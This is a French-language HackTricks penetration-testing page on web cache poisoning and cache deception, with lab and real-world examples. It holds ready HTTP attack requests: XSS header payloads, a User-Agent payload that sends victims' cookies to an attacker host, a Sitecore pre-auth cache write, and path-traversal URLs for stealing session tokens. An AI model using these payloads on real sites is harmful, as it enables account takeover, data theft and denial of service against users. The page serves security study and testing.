Cache Poisoning and Cache Deception

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

La différence

Quelle est la différence entre web cache poisoning et web cache deception ?

  • Dans web cache poisoning, l’attaquant fait en sorte que l’application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l’application.
  • Dans web cache deception, l’attaquant fait en sorte que l’application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l’attaquant récupère ce contenu depuis le cache.

Cache Poisoning

Le cache poisoning vise à manipuler le cache côté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrôle d’un attaquant. L’ampleur de l’impact dépend de la popularité de la page affectée, puisque la réponse empoisonnée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.

L’exécution d’une attaque de cache poisoning implique plusieurs étapes :

  1. Identification of Unkeyed Inputs : Ce sont des paramètres qui, bien qu’ils ne soient pas requis pour qu’une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. Identifier ces inputs est crucial car ils peuvent être exploités pour manipuler le cache.
  2. Exploitation of the Unkeyed Inputs : Après avoir identifié les unkeyed inputs, l’étape suivante consiste à comprendre comment détourner ces paramètres pour modifier la réponse du serveur d’une manière avantageuse pour l’attaquant.
  3. Ensuring the Poisoned Response is Cached : La dernière étape consiste à s’assurer que la réponse manipulée est stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse corrompue.

Découverte : Vérifier les en-têtes HTTP

Généralement, lorsqu’une réponse a été stockée dans le cache, il y aura un en-tête l’indiquant ; vous pouvez vérifier quels en-têtes méritent votre attention dans ce post : HTTP Cache headers.

Découverte : Mise en cache des codes d’erreur

Si vous pensez que la réponse est stockée dans un cache, vous pouvez essayer d’envoyer des requêtes avec un en-tête invalide, qui devrait répondre avec un code de statut 400. Ensuite, essayez d’accéder à la requête normalement et si la réponse est un code 400, vous savez que c’est vulnérable (et vous pourriez même effectuer un DoS).

Vous pouvez trouver plus d’options dans :

Cache Poisoning to DoS

Cependant, notez que parfois ces types de codes de statut ne sont pas mis en cache, donc ce test peut ne pas être fiable.

Découverte : Identifier et évaluer les unkeyed inputs

Vous pouvez utiliser Param Miner pour brute-forcer les paramètres et en-têtes qui peuvent modifier la réponse de la page. Par exemple, une page peut utiliser l’en-tête X-Forwarded-For pour indiquer au client de charger le script depuis là :

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Provoquer une réponse malveillante du serveur back-end

Une fois le paramètre/header identifié, vérifiez comment il est assaini et où il est reflété ou comment il affecte la réponse. Pouvez-vous l’exploiter malgré tout (réaliser un XSS ou charger du code JS que vous contrôlez ? effectuer un DoS ?…)

Mettre la réponse en cache

Une fois que vous avez identifié la page qui peut être exploitée, quel paramètre/header utiliser et comment l’abuser, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps ; vous devrez peut‑être réessayer pendant plusieurs secondes.

L’en-tête X-Cache dans la réponse peut être très utile car il peut prendre la valeur miss lorsque la requête n’a pas été mise en cache et la valeur hit lorsqu’elle l’est.
L’en-tête Cache-Control est également intéressant pour savoir si une ressource est mise en cache et quand elle sera mise en cache à nouveau : Cache-Control: public, max-age=1800

Un autre en-tête intéressant est Vary. Cet en-tête est souvent utilisé pour indiquer des en-têtes supplémentaires qui sont traités comme faisant partie de la clé de cache même s’ils ne sont normalement pas pris en compte. Par conséquent, si l’attaquant connaît le User-Agent de la victime qu’il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce User-Agent spécifique.

Un autre en-tête lié au cache est Age. Il définit le temps en secondes pendant lequel l’objet est resté dans le cache du proxy.

Lors de la mise en cache d’une requête, faites attention aux en-têtes que vous utilisez car certains d’entre eux pourraient être utilisés de manière inattendue comme clés, et la victime devra utiliser ce même en-tête. Testez toujours un Cache Poisoning avec différents navigateurs pour vérifier que cela fonctionne.

Exploiting Examples

Easiest example

Un en-tête comme X-Forwarded-For est reflété dans la réponse sans être assaini.
Vous pouvez envoyer un payload XSS basique et empoisonner le cache de sorte que toute personne accédant à la page soit victime d’un XSS :

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Notez que cela empoisonnera une requête vers /en?region=uk et non vers /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

In this writeup il est expliqué le scénario simple suivant :

  • Le CDN mettra en cache tout sous /share/
  • Le CDN NE décodera PAS ni ne normalisera %2F..%2F, par conséquent, il peut être utilisé comme path traversal pour accéder à d’autres emplacements sensibles qui seront mis en cache comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Le serveur web DÉCODERA et normalisera %2F..%2F, et répondra avec /api/auth/session, qui contains the auth token.

Cookies peuvent également être reflétés dans la réponse d’une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez être capable d’exploiter XSS sur plusieurs clients qui chargent la réponse de cache malveillante.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Notez que si le cookie vulnérable est très utilisé par les utilisateurs, des requêtes régulières videront le cache.

Générer des divergences avec des délimiteurs, la normalisation et les points

Consultez :

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains comment il a été possible de voler une OpenAI API key avec une URL comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 parce que tout ce qui correspond à /share/* sera mis en cache sans que Cloudflare normalise l’URL, ce qui était fait lorsque la requête atteignait le serveur web.

Ceci est aussi mieux expliqué dans :

Cache Poisoning via URL discrepancies

Utiliser plusieurs headers pour exploiter web cache poisoning vulnerabilities

Parfois, vous devrez exploiter plusieurs entrées non utilisées comme clé pour pouvoir abuser d’un cache. Par exemple, vous pouvez trouver un Open redirect si vous définissez X-Forwarded-Host sur un domaine contrôlé par vous et X-Forwarded-Scheme sur http. Si le serveur redirige toutes les requêtes HTTP vers HTTPS et utilise l’en-tête X-Forwarded-Scheme comme nom de domaine pour la redirection, vous pouvez contrôler la destination de la redirection.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiter avec un Vary header limité

Si vous constatez que l’en-tête X-Host est utilisé comme nom de domaine pour charger une ressource JS mais que l’en-tête Vary dans la réponse indique User-Agent, vous devez trouver un moyen d’exfiltrate le User-Agent de la victime et de poison the cache en utilisant ce User-Agent :

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envoyez une requête GET avec la requête dans l’URL et dans le body. Si le web server utilise celle du body mais que le cache server met en cache celle de l’URL, toute personne accédant à cette URL utilisera en fait le parameter du body. Comme la vuln que James Kettle a trouvée sur le site Github :

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Il existe un lab PortSwigger à ce sujet : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Par exemple, il est possible de séparer les parameters sur des serveurs ruby en utilisant le caractère ; au lieu de &. Cela peut permettre de placer des valeurs de parameters sans clé à l’intérieur de parameters avec clé et de les exploiter.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Apprenez ici comment effectuer Cache Poisoning attacks by abusing HTTP Request Smuggling.

Tests automatisés pour Web Cache Poisoning

Le Web Cache Vulnerability Scanner peut être utilisé pour tester automatiquement le web cache poisoning. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.

Exemple d’utilisation : wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Ce pattern observé en conditions réelles enchaîne une primitive de reflection basée sur les headers avec le comportement du CDN/WAF pour empoisonner de manière fiable le HTML mis en cache et servi à d’autres utilisateurs :

  • Le HTML principal reflétait un header de requête non fiable (p.ex., User-Agent) dans un contexte exécutable.
  • Le CDN supprimait les headers de cache mais il existait un cache interne/origin. Le CDN mettait aussi automatiquement en cache les requêtes se terminant par des extensions statiques (p.ex., .js), tandis que le WAF appliquait une inspection de contenu moins stricte aux GETs pour les assets statiques.
  • Des particularités du flux de requêtes permettaient à une requête vers un chemin .js d’influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS cross-user via la reflection de header.

Recette pratique (observée sur un CDN/WAF populaire) :

  1. Depuis une IP propre (éviter les dégradations basées sur la réputation antérieure), définissez un malicious User-Agent via le navigateur ou Burp Proxy Match & Replace.
  2. Dans Burp Repeater, préparez un groupe de deux requêtes et utilisez “Send group in parallel” (le mode single-packet fonctionne le mieux) :
  • Première requête : GET d’une ressource .js sur le même origin en envoyant votre malicious User-Agent.
  • Immédiatement après : GET de la page principale (/).
  1. La course de routage CDN/WAF plus le .js auto-caché amorcent souvent une variante de HTML mise en cache empoisonnée qui est ensuite servie à d’autres visiteurs partageant les mêmes conditions de clé de cache (p.ex., mêmes dimensions Vary comme User-Agent).

Exemple de payload d’en-tête (pour exfiltrer des cookies non-HttpOnly) :

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Beaucoup de CDNs masquent les en-têtes de cache ; le poisoning peut n’apparaître que sur des cycles de rafraîchissement de plusieurs heures. Utilisez plusieurs adresses IP depuis des points d’observation et limitez le débit pour éviter les déclencheurs de limitation de débit ou de réputation.
  • Utiliser une IP issue du cloud du CDN améliore parfois la cohérence du routage.
  • Si une CSP stricte est présente, cela fonctionne toujours si la réflexion s’exécute dans le contexte HTML principal et que la CSP autorise l’exécution inline ou est contournée par le contexte.

Impact:

  • Si les cookies de session ne sont pas HttpOnly, un ATO zero-click est possible en mass-exfiltrating document.cookie depuis tous les utilisateurs servis par le poisoned HTML.

Defenses:

  • Cessez de refléter les en-têtes de requête dans le HTML ; encodez strictement selon le contexte si inévitable. Alignez les politiques de cache du CDN et de l’origin et évitez de varier selon des en-têtes non fiables.
  • Assurez-vous que le WAF applique l’inspection de contenu de manière cohérente aux requêtes .js et aux chemins statiques.
  • Définissez HttpOnly (et Secure, SameSite) sur les cookies de session.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Ceci écrit du HTML arbitraire sous une clé de cache choisie par l’attaquant, permettant un poisoning précis une fois les clés de cache connues.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Exemples vulnérables

Apache Traffic Server (CVE-2021-27577)

ATS a transmis le fragment présent dans l’URL sans le supprimer et a généré la clé de cache en utilisant uniquement l’hôte, le path et la query (ignorant le fragment). Ainsi, la requête /#/../?r=javascript:alert(1) a été envoyée au backend comme /#/../?r=javascript:alert(1) et la clé de cache ne contenait pas la payload, seulement l’hôte, le path et la query.

GitHub CP-DoS

Envoyer une mauvaise valeur dans l’en-tête content-type a déclenché une réponse 405 mise en cache. La clé de cache contenait le cookie, donc il était possible d’attaquer uniquement des utilisateurs non authentifiés.

GitLab + GCP CP-DoS

GitLab utilise des buckets GCP pour stocker du contenu statique. GCP Buckets supportent l’en-tête x-http-method-override. Il était donc possible d’envoyer l’en-tête x-http-method-override: HEAD et de poison the cache afin de renvoyer un corps de réponse vide. Il pouvait aussi supporter la méthode PURGE.

Rack Middleware (Ruby on Rails)

Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le rôle du code Rack est de prendre la valeur de l’en-tête x-forwarded-scheme et de la définir comme scheme de la requête. Lorsque l’en-tête x-forwarded-scheme: http est envoyé, une redirection 301 vers la même location se produit, pouvant provoquer un Denial of Service (DoS) sur cette ressource. De plus, l’application peut prendre en compte l’en-tête X-forwarded-host et rediriger les utilisateurs vers l’hôte spécifié. Ce comportement peut conduire au chargement de fichiers JavaScript depuis le serveur d’un attaquant, créant un risque de sécurité.

403 and Storage Buckets

Cloudflare mettait auparavant en cache les réponses 403. Tenter d’accéder à S3 ou Azure Storage Blobs avec des en-têtes Authorization incorrects renvoyait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement peut encore être présent dans d’autres services de proxy.

Injecting Keyed Parameters

Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly mettait en cache le paramètre size dans les requêtes. Toutefois, si une version encodée en URL du paramètre (par ex. siz%65) était aussi envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le paramètre size correct. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L’encodage URL du second paramètre size conduisait à son omission par le cache mais à son utilisation par le backend. Attribuer la valeur 0 à ce paramètre résultait en une erreur 400 Bad Request susceptible d’être mise en cache.

User Agent Rules

Certains développeurs bloquent les requêtes dont les user-agents correspondent à ceux d’outils à fort trafic comme FFUF ou Nuclei pour gérer la charge serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que cache poisoning et DoS.

Illegal Header Fields

Le RFC7230 spécifie les caractères acceptables dans les noms d’en-têtes. Les en-têtes contenant des caractères en dehors de la plage tchar devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs n’adhèrent pas toujours à cette norme. Un exemple notable est Akamai, qui transfère des en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l’en-tête cache-control n’est pas présent. Un schéma exploitable a été identifié où l’envoi d’un en-tête contenant un caractère illégal, comme \, entraînait une erreur 400 Bad Request mise en cache.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

L’objectif de Cache Deception est de faire en sorte que les clients chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles.

Tout d’abord, notez que les extensions telles que .css, .js, .png etc. sont généralement configurées pour être enregistrées dans le cache. Par conséquent, si vous accédez à www.example.com/profile.php/nonexistent.js le cache stockera probablement la réponse car il voit l’extension .js. Mais, si l’application renvoie le contenu utilisateur sensible stocké dans www.example.com/profile.php, vous pouvez voler ces contenus d’autres utilisateurs.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user’s sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.

Apprenez ici comment effectuer Cache Deceptions attacks abusing HTTP Request Smuggling.

Outils automatiques

  • toxicache: Golang scanner pour trouver des vulnérabilités de web cache poisoning dans une liste d’URLs et tester plusieurs techniques d’injection.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks